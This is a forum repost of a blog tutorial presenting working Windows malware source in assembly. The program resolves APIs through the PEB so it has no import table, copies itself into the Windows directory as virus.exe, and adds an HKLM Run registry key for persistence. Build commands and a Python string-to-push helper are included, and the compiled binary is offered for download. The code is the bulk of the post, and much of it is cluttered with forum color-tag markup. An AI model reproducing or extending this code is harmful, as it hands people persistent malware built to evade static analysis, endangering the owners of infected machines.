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Tiny Malware PoC: Malware Without IAT, DATA OR Resource Section

By Nytro, in Reverse engineering & exploit development

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Tiny Malware PoC: Malware Without IAT, DATA OR Resource Section

Submitted by siteadm on Wed, 08/13/2014 - 21:58

Have you ever wondered about having an EXE without any entry in IAT (Import Address Table) at all? Well, I knew that it's possible, but never saw an actual exe file without IAT entry. So I developed an application which is 1,536 bytes and still does basic annoying malware things. So to summarize, this tiny app:

- Enumerates following APIs:

Kernel32

  • GetProcAddress
  • VirtualAlloc
  • GetModuleFileNameA
  • ExitProcess
  • CopyFileA
  • GetWindowsDirectoryA
  • LoadLibraryA

Advapi32

  • RegCreateKeyA
  • RegSetKeyValueA
  • RegCloseKey

User32

  • MessageBoxA

- Allocates 0x0B000 bytes in fixed memory location (0x0C000000)

- Resolves and stores all DLL handles, API function addresses, strings and API call return values in this newly allocated memory page.

- Copies itself to Windows directory under virus.exe name

- Creates a startup key in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run called viri and points to virus.exe in %WINDIR%

- Shows a MessageBox with "Infected!" string as title and text of message.

- Terminates itself

So this is basically what I did, but developing it and extending it is just a matter of time.

Anyway, let's see the code:

Beginning of file is just finding Kernel32 handle and offset of export table of Kernel32.dll


[COLOR=#008000][[/COLOR]section[COLOR=#008000]][/COLOR] .[COLOR=#007788]text[/COLOR]
BITS [COLOR=#0000dd]32[/COLOR]
global _start

_start[COLOR=#008080]:[/COLOR]
xor ecx,ecx
mov eax,[COLOR=#008000][[/COLOR]fs[COLOR=#008080]:[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x30[/COLOR][COLOR=#008000]][/COLOR]
mov eax,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0xc[/COLOR][COLOR=#008000]][/COLOR]
mov esi,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR]
lodsd
xchg eax,esi
lodsd
mov ebx,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR]
mov edx,[COLOR=#008000][[/COLOR]ebx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x3c[/COLOR][COLOR=#008000]][/COLOR]
add edx,ebx
mov edx,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x78[/COLOR][COLOR=#008000]][/COLOR]
add edx,ebx
mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x20[/COLOR][COLOR=#008000]][/COLOR]
add esi,ebx
xor ecx,ecx
xor ecx,ecx
mov eax,[COLOR=#008000][[/COLOR]fs[COLOR=#008080]:[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x30[/COLOR][COLOR=#008000]][/COLOR]
mov eax,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0xc[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] PEB[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]Ldr
mov esi,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] PEB[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]Ldr.[COLOR=#007788]InMemOrder[/COLOR] 
lodsd [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] Second module
xchg eax,esi [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] ESI, ESI [COLOR=#000080]=[/COLOR] EAX
lodsd [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] Third [COLOR=#008000]([/COLOR]kernel32[COLOR=#008000])[/COLOR]
mov ebx,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EBX [COLOR=#000080]=[/COLOR] Base address
mov edx,[COLOR=#008000][[/COLOR]ebx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x3c[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] DOS[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]e_lfanew
add edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] PE Header
mov edx,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x78[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Offset export table
add edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Export table
mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x20[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset names table
add esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Names table
xor ecx,ecx [COLOR=#008080];[/COLOR] EXC [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR]

tryagain[COLOR=#008080]:[/COLOR]
inc ecx [COLOR=#008080];[/COLOR] Loop [COLOR=#0000ff]for[/COLOR] each function
lodsd
add eax,ebx [COLOR=#008080];[/COLOR] Loop untill function name
cmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#008000]][/COLOR],[COLOR=#208080]0x50746547[/COLOR] [COLOR=#008080];[/COLOR] GetP
jnz tryagain
cmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x4[/COLOR][COLOR=#008000]][/COLOR],[COLOR=#208080]0x41636f72[/COLOR] [COLOR=#008080];[/COLOR] rocA
jnz tryagain
cmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x8[/COLOR][COLOR=#008000]][/COLOR],[COLOR=#208080]0x65726464[/COLOR] [COLOR=#008080];[/COLOR] ddre
jnz tryagain
mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x24[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset ordinals
add esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Ordinals table
mov cx,[COLOR=#008000][[/COLOR]esi[COLOR=#000040]+[/COLOR]ecx[COLOR=#000040]*[/COLOR][COLOR=#0000dd]2[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] CX [COLOR=#000080]=[/COLOR] Number of function
dec ecx
mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x1c[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset address table
add esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Address table
mov edx,[COLOR=#008000][[/COLOR]esi[COLOR=#000040]+[/COLOR]ecx[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Pointer[COLOR=#008000]([/COLOR]offset[COLOR=#008000])[/COLOR]
add edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] GetProcAddress

As first step, we try to find VirtualAlloc API address:


xor ecx,ecx [COLOR=#008080];[/COLOR] ECX [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR]
PUSH [COLOR=#0000dd]0[/COLOR]
push ebx [COLOR=#008080];[/COLOR] Kernel32 base address
push edx [COLOR=#008080];[/COLOR] GetProcAddress
push ecx [COLOR=#008080];[/COLOR] [COLOR=#0000dd]0[/COLOR]
push [COLOR=#0000dd]0[/COLOR]
push [COLOR=#208080]0x636f6c6c[/COLOR]
push [COLOR=#208080]0x416c6175[/COLOR]
push [COLOR=#208080]0x74726956[/COLOR] [COLOR=#008080];[/COLOR] VirtualAlloc
push esp
push ebx [COLOR=#008080];[/COLOR] Kernel32 base address
call edx [COLOR=#008080];[/COLOR] GetProcAddress[COLOR=#008000]([/COLOR]LL[COLOR=#008000])[/COLOR]
PUSH eax

As you can see the pushing string into stack and calling PUSH ESP does the trick, so as I needed to do this so often, I wrote a small Python code to generate this type of assembly instruction for a given String:

import sys
[COLOR=#0000ff]if[/COLOR] len[COLOR=#008000]([/COLOR]sys.[COLOR=#007788]argv[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]&[/COLOR]lt[COLOR=#008080];[/COLOR] [COLOR=#0000dd]2[/COLOR][COLOR=#008080]:[/COLOR]
    print [COLOR=#FF0000]"Please provide a string argument"[/COLOR]
    [COLOR=#0000dd]exit[/COLOR]
APIName [COLOR=#000080]=[/COLOR] sys.[COLOR=#007788]argv[/COLOR][COLOR=#008000][[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000]][/COLOR]

[COLOR=#0000ff]if[/COLOR] len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR] [COLOR=#000040]%[/COLOR] [COLOR=#0000dd]4[/COLOR] [COLOR=#000040]![/COLOR][COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR][COLOR=#008080]:[/COLOR]
    APIName [COLOR=#000080]=[/COLOR] APIName.[COLOR=#007788]ljust[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR]len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR][COLOR=#000040]/[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR][COLOR=#000040]+[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR], [COLOR=#FF0000]'[COLOR=#006699][B]\0[/B][/COLOR]'[/COLOR][COLOR=#008000])[/COLOR]

print [COLOR=#FF0000]"push 0"[/COLOR]
[COLOR=#0000ff]for[/COLOR] i in range[COLOR=#008000]([/COLOR][COLOR=#0000dd]1[/COLOR], [COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR]len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR] [COLOR=#000040]/[/COLOR] [COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080]:[/COLOR]
    print [COLOR=#FF0000]"push "[/COLOR] [COLOR=#000040]+[/COLOR]  [COLOR=#FF0000]"0x"[/COLOR][COLOR=#000040]+[/COLOR][COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]3[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]2[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR]
print [COLOR=#FF0000]"push esp ;"[/COLOR] [COLOR=#000040]+[/COLOR] APIName

You can simply run this Python script with a string as parameter and it produces required ASM instruction for pushing given string into stack, example call and output:

C[COLOR=#008080]:[/COLOR]\[COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]APINameToASM.[COLOR=#007788]py[/COLOR] user32.[COLOR=#007788]dll[/COLOR]
push [COLOR=#0000dd]0[/COLOR]
push [COLOR=#208080]0x00006c6c[/COLOR]
push [COLOR=#208080]0x642e3233[/COLOR]
push [COLOR=#208080]0x72657375[/COLOR]
push esp [COLOR=#008080];[/COLOR]user32.[COLOR=#007788]dll[/COLOR]

Now we allocate a fixed size, fixed location memory page to store all strings and resolved API pointers:

PUSH [COLOR=#208080]0x40[/COLOR] [COLOR=#008080];[/COLOR] DWORD flProtect [COLOR=#000080]=[/COLOR] PAGE_EXECUTE_READWRITE
PUSH [COLOR=#208080]0x3000[/COLOR][COLOR=#008080];[/COLOR] DWORD flAllocationType [COLOR=#000080]=[/COLOR] MEM_COMMIT [COLOR=#000040]|[/COLOR] MEM_RESERVE
PUSH [COLOR=#208080]0x0B000[/COLOR][COLOR=#008080];[/COLOR] SIZE_T dwSize
PUSH [COLOR=#208080]0x0C000000[/COLOR] [COLOR=#008080];[/COLOR] LPVOID lpAddress
CALL EAX [COLOR=#008080];[/COLOR] call VirtualAlloc

From now on, we store all resolved API pointers in 0x0c000000 address. Whole table after running application will look like this:

[COLOR=#208080]0x0c000000[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Kernel32 handle
[COLOR=#208080]0x0C000004[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetProcAddress pointer
[COLOR=#208080]0x0C000008[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] VirtualAlloc pointer
[COLOR=#208080]0x0C00000C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetModuleFileNameA pointer
[COLOR=#208080]0x0C000010[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] ExitProcess pointer
[COLOR=#208080]0x0C000014[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] CopyFileA pointer
[COLOR=#208080]0x0C000018[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetWindowsDirectoryA pointer
[COLOR=#208080]0x0C00001C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] LoadLibraryA pointer
[COLOR=#008080];[/COLOR] space [COLOR=#0000ff]for[/COLOR] [COLOR=#0000dd]40[/COLOR] kernel32 function address [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]40[/COLOR] x [COLOR=#0000dd]4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]160[/COLOR] in decimal [COLOR=#008000]([/COLOR][COLOR=#208080]0xA0[/COLOR][COLOR=#008000])[/COLOR]
[COLOR=#008080];[/COLOR] [COLOR=#208080]0xA0[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#208080]0x04[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#208080]0xA4[/COLOR] beginning of Advapi
[COLOR=#208080]0x0C0000A4[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Advapi32 handle
[COLOR=#208080]0x0C0000A8[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegCreateKeyA pointer
[COLOR=#208080]0x0C0000AC[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegSetKeyValueA pointer
[COLOR=#208080]0x0C000060[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegCloseKey pointer
[COLOR=#008080];[/COLOR] space [COLOR=#0000ff]for[/COLOR] [COLOR=#0000dd]40[/COLOR] user32.[COLOR=#007788]dll[/COLOR] function address [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]40[/COLOR] x [COLOR=#0000dd]4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]160[/COLOR] in decimal [COLOR=#008000]([/COLOR][COLOR=#208080]0xA0[/COLOR][COLOR=#008000])[/COLOR]
[COLOR=#008080];[/COLOR] [COLOR=#208080]0xA4[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#208080]0xA4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#208080]0x148[/COLOR] beginning of User32
[COLOR=#208080]0x0C000148[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] User32 handle
[COLOR=#208080]0x0C00014C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] MessageBoxA pointer

Also I used same memory page to store strings, for example:

[COLOR=#208080]0x0C00AEF0[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Current EXE file path [COLOR=#008000]([/COLOR]returned by GetModuleFileName API[COLOR=#008000])[/COLOR]
[COLOR=#208080]0x0C00ADEC[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Windows Directory path [COLOR=#008000]([/COLOR]returned by GetWindowsDirectory API[COLOR=#008000])[/COLOR]
[COLOR=#208080]0x0C00ADE5[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] [COLOR=#FF0000]"viri"[/COLOR] string [COLOR=#008000]([/COLOR]registry value name[COLOR=#008000])[/COLOR]
[COLOR=#208080]0x0C00AB8C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] [COLOR=#FF0000]"Infected!"[/COLOR] string

Also I created 3 functions to resolve API pointers easier:

EnumKernelAPI[COLOR=#008080]:[/COLOR]
POP EBP [COLOR=#008080];[/COLOR] ret addr
MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] kernel32 handle
call dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] getprocaddress
MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
PUSH EBP
retn


EnumAdvapiAPI[COLOR=#008080]:[/COLOR]
POP EBP [COLOR=#008080];[/COLOR] ret addr
MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xA4[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] advapi32 handle
call dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] getprocaddress
MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
PUSH EBP
retn

EnumUserAPI[COLOR=#008080]:[/COLOR]
POP EBP [COLOR=#008080];[/COLOR] ret addr
MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x148[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] user32 handle
call dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] getprocaddress
MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
PUSH EBP
retn

Also you need to call ExitProcess to prevent crashing, so:

TerminateProcess[COLOR=#008080]:[/COLOR]
PUSH [COLOR=#0000dd]0[/COLOR][COLOR=#008080];[/COLOR] dwExitCode
MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] 
CALL DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] call ExitProcess
  is necessary.

After resolving APIs, calling them is really easy, for example:

MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
push [COLOR=#0000dd]1[/COLOR] [COLOR=#008080];[/COLOR] bFailIfExists [COLOR=#000080]=[/COLOR] [COLOR=#0000ff]false[/COLOR]
push [COLOR=#208080]0xC00ADEC[/COLOR] [COLOR=#008080];[/COLOR] [COLOR=#000040]%[/COLOR]WINDIR[COLOR=#000040]%[/COLOR]\Virus.[COLOR=#007788]exe[/COLOR]
push [COLOR=#208080]0x0C00AEF0[/COLOR] [COLOR=#008080];[/COLOR] Current EXE path
call dword[COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] CopyFileA

Result:

CopyFileCall.png

Another call:

mov ecx, [COLOR=#208080]0xC00ADAC[/COLOR][COLOR=#008080];[/COLOR] location of subkey
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]44[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x0000006e[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]40[/COLOR][COLOR=#008000]][/COLOR],  [COLOR=#208080]0x75525c6e[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]36[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f697372[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]32[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6556746e[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]28[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x65727275[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]24[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x435c7377[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]20[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f646e69[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]16[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x575c7466[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]12[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f736f72[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]8[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x63694d5c[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x65726177[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#008000]][/COLOR], [COLOR=#208080]0x74666f53[/COLOR] [COLOR=#008080];[/COLOR]Software\Microsoft\Windows\CurrentVersion\Run

push [COLOR=#208080]0xC00ADE0[/COLOR] [COLOR=#008080];[/COLOR] PHKEY phkResult
push [COLOR=#208080]0xC00ADAC[/COLOR] [COLOR=#008080];[/COLOR] lpSubkey [COLOR=#000080]=[/COLOR] Software\Microsoft\Windows\CurrentVersion\Run
push [COLOR=#208080]0x80000002[/COLOR][COLOR=#008080];[/COLOR] HKEY [COLOR=#000080]=[/COLOR] HKEY_LOCAL_MACHINE
mov ecx, [COLOR=#208080]0x0C000000[/COLOR]
call dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0xA8[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] RegCreateKeyA
mov ecx, [COLOR=#208080]0x0C000000[/COLOR]

MOV DWORD[COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE5[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x69726976[/COLOR] [COLOR=#008080];[/COLOR] viri string, will be used as registry value name
MOV EDI, [COLOR=#208080]0xC00ADEC[/COLOR] [COLOR=#008080];[/COLOR] Address of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR] string

SUB ECX,ECX
SUB AL,AL
NOT ECX
CLD
REPNE SCASB
NOT ECX
DEC ECX [COLOR=#008080];[/COLOR] Length of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR], instead of hardcoding, we calculate it dynamically, incase some computers have Windows installed in WINNT or any other name

MOV EBX, [COLOR=#208080]0x0C000000[/COLOR]
MOV EDI, [COLOR=#208080]0xC00ADEC[/COLOR]
PUSH ECX [COLOR=#008080];[/COLOR] DWORD cbData [COLOR=#008000]([/COLOR]length of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR][COLOR=#008000])[/COLOR]
PUSH EDI [COLOR=#008080];[/COLOR] LPCVOID lpData [COLOR=#008000]([/COLOR]C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR][COLOR=#008000])[/COLOR]
PUSH [COLOR=#0000dd]1[/COLOR] [COLOR=#008080];[/COLOR] DWORD dwTYPE [COLOR=#000080]=[/COLOR] REG_SZ
PUSH [COLOR=#208080]0x0C00ADE5[/COLOR] [COLOR=#008080];[/COLOR] LPCTSTR lpValueName [COLOR=#000080]=[/COLOR] viri
PUSH [COLOR=#0000dd]0[/COLOR] [COLOR=#008080];[/COLOR] LPCTSTR lpSubKey [COLOR=#000080]=[/COLOR] [COLOR=#0000ff]NULL[/COLOR] [COLOR=#008000]([/COLOR]will use already open key[COLOR=#008000])[/COLOR]
PUSH DWORD [COLOR=#008000][[/COLOR]EBX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] HKEY hKey [COLOR=#000080]=[/COLOR] output of previous RegCreateKeyA call
CALL DWORD [COLOR=#008000][[/COLOR]EBX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xAC[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] RegSetKeyValue

MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] HKEY hKey[COLOR=#008080];[/COLOR]
Call DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xB0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] call RegCloseKey

Result:

CreateReg.png

Anyway, you can see entire source code here.

To compile you need to run two commands:

nasm -fwin32 IATLess.asm

link /subsystem:windows /entry:start IATLess.obj

No .data section:

PESections.png

and no IAT entry:

ImportTable.png

PEStudio screenshot:

PEStudio.png

UPDATE: As requested, I uploaded compiled file here. Password: infected

